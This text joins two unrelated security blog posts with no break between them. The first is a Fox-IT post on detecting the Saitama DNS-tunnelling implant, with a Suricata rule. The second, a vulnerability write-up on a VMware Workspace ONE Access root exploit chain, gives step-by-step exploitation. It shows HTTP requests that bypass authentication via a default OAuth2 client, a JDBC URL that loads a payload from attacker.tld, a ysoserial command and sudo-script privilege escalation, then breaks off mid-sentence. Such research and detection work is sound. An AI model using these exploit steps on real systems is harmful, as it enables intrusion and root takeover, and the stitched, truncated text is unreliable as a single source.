Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.  

In May 2022, security firm Malwarebytes published a two¹-part² blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.  

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.  

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection. 

Reconstructing the Saitama traffic 

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere³. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available. 

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP. 

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.  

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.  

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’. 

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down. 

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.   

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.  

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.  

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.  

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.  

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.  

Transmission between server implementation and the implant

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command. 

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.  

Signature-based 

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule: 

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts. 

 
The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes. 

Behaviour-based 

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about⁴, is better suited.  

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.  

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.  

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives. 

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign. 

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs. 

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes. 

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.  

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.  

The server-side implementation of Saitama can be found on the Fox-IT GitHub.  

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP. 

References

[1] https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 
[2] https://blog.malwarebytes.com/threat-intelligence/2022/05/how-the-saitama-backdoor-uses-dns-tunnelling/ 
[3] https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html
[4] https://blog.fox-it.com/2019/06/11/using-anomaly-detection-to-find-malicious-domains/   

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

1. Cisco Identity Services Engine

   This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

2. ForgeRock OpenAM

   This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

3. Oracle Access Manager (OAM)

   Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

4. VMWare Workspace ONE Access

   Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

   The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

1. Heavy use of Spring libraries

   This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

   Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

2. Minimal attack surface

   There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

3. Code quality

   The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.

OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

1. publishCaCert.hzn:

   For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

   #!/bin/sh
   
   #Script to isolate sudo access to just publishing a single file to the trusted certs directory
   
   CERTFILE=$1
   DESTFILE=$(basename $2)
   
   cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
   chmod 644 /etc/ssl/certs/$DESTFILE // 2
   c_rehash > /dev/null
   

2. gatherConfig.hzn:

   For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

   #!/bin/bash
   #
   # Minor: Copyright 2019 VMware, Inc. All rights reserved.
   . /usr/local/horizon/scripts/hzn-bin.inc
   . /usr/local/horizon/scripts/manageTcCfg.inc
   DEBUG_FILE=$1
   
   #...
   
   function gatherConfig()
   {
       printLines
       echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
       #...
       chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
   }
   
   if [ -z "$DEBUG_FILE" ]
   then
       usage
   else
       DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
       gatherConfig
   fi
   

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

1. First, we can grab the activationToken.

   Request:

   POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
   Host: photon-machine
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 0
   

   Response:

   {
    "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
    "_links": {}
   }
   

2. Now, with the activation token let’s get the client_id and client_secret.

   Request:

   POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
   Host: photon-machine
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 168
   
   eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
   

   Response:

   {
    "client_id": "Service__OAuth2Client",
    "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
   }
   

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

